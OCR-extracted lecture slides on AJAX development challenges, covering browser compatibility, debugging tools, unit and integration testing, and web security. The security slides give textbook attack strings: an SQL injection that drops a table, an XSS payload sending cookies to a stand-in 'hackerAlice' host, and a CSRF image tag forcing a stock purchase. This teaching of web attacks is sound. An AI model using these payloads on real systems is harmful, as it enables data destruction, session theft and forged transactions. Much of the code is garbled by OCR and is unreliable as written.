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Challenge 1: Browser Compatibility

» Cross-browser compatibility: web
application renders correct and same
behavior on different browsers

* Need to support popular browsers, e.g.,
Microsoft Internet Explorer, Netscape
Navigator, Mozilla, and Opera

* Typical approach: check properties such
as navigator.appName and
navigator.appVersion using JavaScript
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HTML and JavaScript Compatibility

* Web app. rendering affected by many
factors

— configuration and security policy
— operating system
— resolution of computer screen

« Solution

— Use cross-browser libraries
« X library, Dojo framework

— Use compatibility checkers (e.g., CrossCheck)
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AJAX Compatiblility

« XMLHttpRequest implementation varies
on different browsers

— First implemented as ActiveX object in IE
— Implemented as native object in Mozilla

« Solution: use JavaScript to check browser
version

« Sample code In next slide
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Sample Code for XHR

var xhrRequest = null;
if (XMLHttpRequest) {

xhrRequest = new XMLHttpRequest ()
}else 1f (ActiveXObject) {

try{
xhrRequest =new ActiveXObject ("Msxml2.XMLHTTP") ;
}catch (e) {
try{
xhrRequest =new ActiveXObject ("Microsoft.XMLHTTP") ;
}

catch (e) {
alert ("Your browser does not support AJAX!");

}else{

alert ("Your browser does not support AJAX!");
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Challenge 2: Diagnosis of AJAX App

* Diagnosis/debugging: indispensable part
of software development
« AJAX App raised several new challenges
to software developers
— AJAX App involves both server and client side
programming
— Debugging of JavaScript is harder

— AJAX Web applications communicate with
server asynchronously
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Tools for Debugging JavaScript

* Log4JavaScript framework

* Insert printing statements into program
* Logs can be sent to remove log server
 Example in next slide
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Log4JavaScript Example

1. <script type="text/JavaScript"
src="./logd4JavaScript-1.3.1/logd4JavaScript.js"></script>
2. <script type="text/JavaScript">
var logger = logéd4JavaScript.getlLogger ()

4. var logDisplayer = new
logd4JavaScript.PopUpAppender () ;

logger.addAppender (logDisplayer) ;

6. var ajaxServerlLogger = new
log4JavaScript.AjaxAppender ('server side logger');

logger.addAppender (ajaxServerLogger) ;
logger.debug ("Hello world!");
</script>
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MS JavaScript Debugger

« Similar to prevalent debuggers
— Set breakpoints
— Examine variable values

« Example in next slide:
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Sl Microsoft Script Debugger - [Read only: file:/f/C: Documents% 20and? 20Settings/xfu/Deskto p/i jaxBook/NEW /A jaxBook/PublishOnWeb/Ch8/Code Examples/M. .. |Z||E|E|
% File Edit Yiew Debug Window Help

MS JavaScript Debugger

- 8 x
File 3 = Edit Bl Debug =l 3 iz = (Et=| M 4y | B0 & E
<html> 4:
<head>
<meta http-equiv="Content-Language™ content="en-us">
<ieta http-equiv="Content-Type™ content="text/html; charset=windows-1252">
<titlerlLinkiMouselverNobotionc/ticles
</ head:
<acript type="text/javascript™:>
function showvilertBox (] {
CD alert ("the link is clicked!™):
i
</scriptr
<hbody>
<pr&nbspr </ pr
<pr<a href="heop:/ wuw.google.com’ " ocmmouseover=showlhlertBox (] =LinkMouselwerllert</a></ p>
<p>When the above link iz clicked, an alert hox will show up. </p>
<p>This example iz used to illustrate the use of Microsoft Zcript Debugger.</p>
<p>1. Open the file using Internet Explorer</p>
<pr2. View -—&gr; Script Debugger --—&gt:; Openh</p>
<p>3. J3et the current input cursor on the first line of showlhlertBoxi(]</p>
<p>4. Click the toggle breakpoint button (or press F9) </ p>
<p>5. Go back to the IE window</p>
<p>&. Move mouse ower the link. Then wou will see that the breakpoint is hit.<br>
gnbsp:</p>
</body>
</ htmls>
bt
< | *
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AJAX Profiling

* Firebug available on Firefox browsers

* Provides following features
— Console
— HTML
— CSS
— Scripts
- DOM
— Net
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D Mozilla Firefox
File Edit View Histary Bookmarks Tools  Help

| | Customize Links | | dojo.js

I_’?;_T L1 http:fflocalbost: 3080/ BigPeachy ardsaleE xpress)

vt@- 'v

A
LOIDN) MNis
BigPeach¥YardSaleExpress.COM .Md:h S
JAM-SPFM
Saturday, July 7, 208
v
#° Inspect Clear Profile Sy 28
Console | HTML (55 Script DOM  Met Ophions =
+ GET http:/ /localhost:8080,/BigPeach¥ardSaleExpress /getAdBanner (1 5ms} BigPeachYardSaleE... (line 27}
+ GET http:/ /localhost:8080,/BigPeachYardSaleExpress,/getAdBanner [ 75ms} BigPeachYardSaleE... (line 27)
+ GET http:/ /localhost:8080,/BigPeachYardSaleExpress,/getAdBanner [45ms} BigPeachYardSaleE... (line 27)
+ GET http:/ /localhost:8080,/BigPeachYardSaleExpress,/getAdBanner (4 7ms} BigPeachYardSaleE... (line 27)
+ GET http:/ /localhost:8080,/BigPeach¥ardSaleExpress /getAdBanner (16ms} BigPeachYardSaleE... (line 27)
+ GET http://localhost:8080,/BigPeach¥ardSaleExpress;/getAdBanner {75ms} BigPeachYardSaleE... (line 27)
+ GET http:/ /localhost:8080,/BigPeachYardSaleExpress,/getAdBanner [45ms} BigPeachYardSaleE... (line 27)
+ GET http://localhost:8080,/BigPeachYardSaleExpress,/getAdBanner (4 7ms} BigPeachYardSaleE... (line 27)
+ GET http:/ /localhost:8080,/BigPeach¥ardSaleExpress /getAdBanner (4 7ms} BigPeachYardSaleE... (line 27)
+ GET http://localhost:8080,/BigPeach¥YardSaleExpress/getAdBanner {425ms} BigPeachYardSaleE... (line 27)
+ GET http://localhost:8080,/BigPeachYardSaleExpress,/getAdBanner (f5ms} BigPeach¥ardSalek... (line 27) v || Fun  Clear  Copy @]
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o
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Challenge 3: Testing AJAX

* New challenges for testing AJAX

— How to assure the logical correctness of an
AJAX application at both sides of client and
server?

— How to evaluate an AJAX application given
complex client environment?

— How to deal with multiple concurrent
asynchronous call sessions?
* Best practice: go through complete testing
cycle
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Unit Testing

« Unit testing: testing minimal testable part

* Benefits:
— Can be easily tested
— Testing cases can be a part of documentation

 Tools available
— JSUnit

« Example in next slide
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JSUnit Example To Test

1. function sort(ctrl) {

2. var sel = document.getElementById(ctrl);

3. for (i=0;1i<sel.length;i++)

4 . {

5. for(j=i; j<sel.length-1;j++) {

0. if(sel.options[]].text>sel.options[j+1].text) {
7. var text = sel.options[]].text;

8. var value = sel.options[j].value;

9. sel.options[]].text = sel.options[J+1].text;
10. sel.options[J].value = sel.options[]j].value;
11. sel.options[j+1].text = text;

12. sel.options[]j+1].value = value;

13. }

14. }

15. }

lo. }
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JSUnit Test Functions

<!DOCTYPE ...>

<html>

<head>

<title>JsUnit Tests</title>

<link rel="stylesheet" type="text/css"
href="../css/jsUnitStyle.css">

<script language="JavaScript"
src="../app/JjsUnitCore.js"></script>

<script language="JavaScript" src="./bubbleSort.js"></script>
<script language="JavaScript" type="text/JavaScript">
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JSUnit Test Functions cont'd

function setUp() {
//1. set select control 1: with two options
var sell = document.getElementById("sell");
var optl = document.createElement ("OPTION") ;
optl.value = 2;
optl.text = "optl";
var opt2 = document.createElement ("OPTION") ;
optZ2.value = 3;
optZ.text = "opt2";
sell.options.add (optl);
sell.options.add (opt2);

//2. sel2 does not have any options
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JSUnit Test Functions Cont'd

function testText () {
testTextOf ("sell") ;
testTextOf ("sel2");

}
function testRobust () {

testTextOf ("controlNotExist") ;
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JSUnit Test Functions Cont'd

</script>
</head>
<body >
<p>This page contains tests for bubble sort function.</p>
<form>
<select i1id="sell" onmouseover=sort ("sell") >
<option value="1">opt3</option>
<option value="2">optl</option>
</select>
<select id="sel2" onmouseover=testText () > </select>
</form>
</body>
</html>
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Unit Testing Result

JsUnit 2.2 TestRunner

-
“nlt Runping on Mozilla /3.0 (compatible; MSTE 6.0; Windows XNT 5.1; SV¥¥; NETCIR X 1.4322; WET CLR 2.0.5072F: NETCLR 3.0.0432F.17T)

[EEnter the filename of the Test Page to be run:

file:/// |Ci\Documents and SettingshfiDesktopbdjaxBooki\ChE\CodeExarn)  Browse.. | RUH|

Trace Ieuel:|nn:| tracing j ¥ Close old trace window on new run Page load timecout: [120 Setup page timeout: |12EI -

Status: Done (0.281 seconds)

Progress :

Runs: 3 Errors: 2 Failures: 0

Errors and failures:

file: 4 C: /Documents%20and %205 etting s/« fu/Desktop/AjaxBook/ChE/CodeExamples/BubbleSort i1 html:testTextOf had an error
file: M C: i Document =% 20and %20 Setting sixfulDesktopfAjaxBook/ChE/CodeExamples/BubbleSort/t1. html:testRobust had an error
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Integration Testing

* Integration testing is performed when all
components of the application are
composed

« System testing can be generally divided
Into functional testing and non-functional
testing

 Tools available
— Web Application Testing in Ruby (Watir)
— HtmIUnNit
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Watir Example

require "watir"

ie = Watir::IE.new

ie.goto ("http://www.google.com/webhp?complete=1&hl=en")
ie.text field(:name, "g").set ("testing")

sleep 2

if ie.contains text("test driven development")
puts "Test Passed."

else
puts "Test Failed!"

end

ie.close ()
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Challenge 4: AJAX Security

« Suffers from all traditional Web application
security vulnerabillities

— SQL Injection Attack
— Cross-site Scripting Attack
— Cross-site Remote Forgery Attack

« AJAX enlarges attack surface
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SQL Injection Attack

« Cause: user input used In constructing
SQL query on-the-fly

* If carefully crafted, constructed SQL query
can damage backend database

* Example

sqlStr =“SELECT prod id, prod name, prod price FROM products\n”

+ “WHERE prod name is like '” + txtPartialName +%'7”;
SglStatement sglStmt = dbConnection.createStatement();
ResultSet rs = sglStmt.executeQuery(sglStr);
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Attack String

ipod’ OR 1=1; drop table products --

Results:

SELECT prod id, prod name, prod price FROM products
WHERE prod name 1is like ‘ipod’ OR 1=1; drop table products --

4
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Cross-Site Scripting Attack

« System generates “flower” links for user
» User session maintained using cookie
« Example:

<a target=" new"
url=“www.gardenmail.com/getFlower?g=birthday+gift”>
Click to get flower!
</a>
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XSS Attack String

 Attack string:

<script>’'www.hackerAlice.com/getCookie.jsp?c="’

+document .cookie</script>

 Result: cookie lost

<a target=" new"
url =

“www.gardenmail.com/getFlower?g=<script>’www.hackerAlice
.com/getCookie.jsp?c="+ document.cookie</script>">

Click to get flower!
</a>
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Cross-Remote Forgery Attack

« XSS exploits user’s trust in Web-site

 XSRF exploits a Web-site's trust in user

« Example: superstockbroker.com is an
online stock brokerage firm

— Once logged in, a customer can click the
“buy” and “sell”.At client side, use XHR to
Invoke Servlets at server side.

— Buying stocks can be achieved using GET

www . superstockbroker.com/buystock?stockid=100&amount=1000
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Attack String

 Embed malicious info in <img> tag

- <IMG
src="www.superstockbroker.com/buy.index?stockid=100&a
mount=1000" visible="false”>

* Results: the action “buy 1000 stocks” is
executed
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